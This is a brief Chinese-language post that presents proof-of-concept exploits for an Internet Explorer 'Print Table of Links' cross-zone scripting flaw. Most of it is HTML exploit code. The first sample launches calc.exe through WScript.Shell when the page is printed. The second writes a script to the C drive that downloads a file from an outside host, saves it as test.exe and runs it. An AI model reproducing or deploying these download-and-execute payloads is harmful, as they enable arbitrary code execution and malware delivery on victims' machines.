測試成功，會運行計算器
只是利用起來有點 ... ...

這個漏洞是由于微軟IE瀏覽器啟動“Print Table of Links”時引起的跨站攻擊（Cross-Zone Scripting ）

如果啟用了 "Print Table of Links"，在打印一個網頁的時候，能夠導致執行任意代碼。

1.選擇“Print Table of Links”選項

2.把保存以下代碼為HTML格式，用IE打開，并打印，會執行calc.exe。

<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>

 


以下代碼自動下載http://www.tkk7.com/Files/baicker/calc.rar文件到c:\改名為test.exe，然后執行test.exe


<html>
<body>
點擊選項，選中打印鏈表列表，點打印
<a href="http://www.bl.com?zzz=dsasad
<script defer>
var ForWriting = 2;
var strFile = 'c:\\test2.js';
var objFSO = new ActiveXObject('Scripting.FileSystemObject');
var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false);
objStream.WriteLine('var objArgs = \'http://www.tkk7.com/Files/baicker/calc.rar\';');
objStream.WriteLine('var objargss =\'c:\\\\test.exe\';');
objStream.WriteLine('var sGet=new ActiveXObject(\'ADODB.Stream\');');
objStream.WriteLine('var xGet = false;');
objStream.WriteLine('try {');
objStream.WriteLine('xGet = new XMLHttpRequest();');
objStream.WriteLine('} ');
objStream.WriteLine('catch (trymicrosoft) {');
objStream.WriteLine('try {');
objStream.WriteLine(' xGet = new ActiveXObject(\'Msxml2.XMLHTTP\');');
objStream.WriteLine('} ');
objStream.WriteLine('catch (othermicrosoft) {');
objStream.WriteLine(' try {');
objStream.WriteLine(' xGet = new ActiveXObject(\'Microsoft.XMLHTTP\');');
objStream.WriteLine(' } ');
objStream.WriteLine('catch (failed) {');
objStream.WriteLine(' xGet = false;');
objStream.WriteLine(' }');
objStream.WriteLine('}');
objStream.WriteLine('}');
objStream.WriteLine('xGet.Open (\'GET\',objArgs.toLowerCase(),0);');
objStream.WriteLine('xGet.Send();');
objStream.WriteLine('sGet.Mode=3;');
objStream.WriteLine('sGet.Type=1;');
objStream.WriteLine('sGet.Open();');
objStream.WriteLine('sGet.Write (xGet.ResponseBody);');
objStream.WriteLine('sGet.SaveToFile (objargss.toLowerCase(),2);');
objStream.WriteLine('var x=new ActiveXObject(\'WScript.Shell\');');
objStream.WriteLine('x.Run(objargss);');
objStream.Close();
var objShell = new ActiveXObject('wscript.shell');
objShell.Run(strFile);
</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>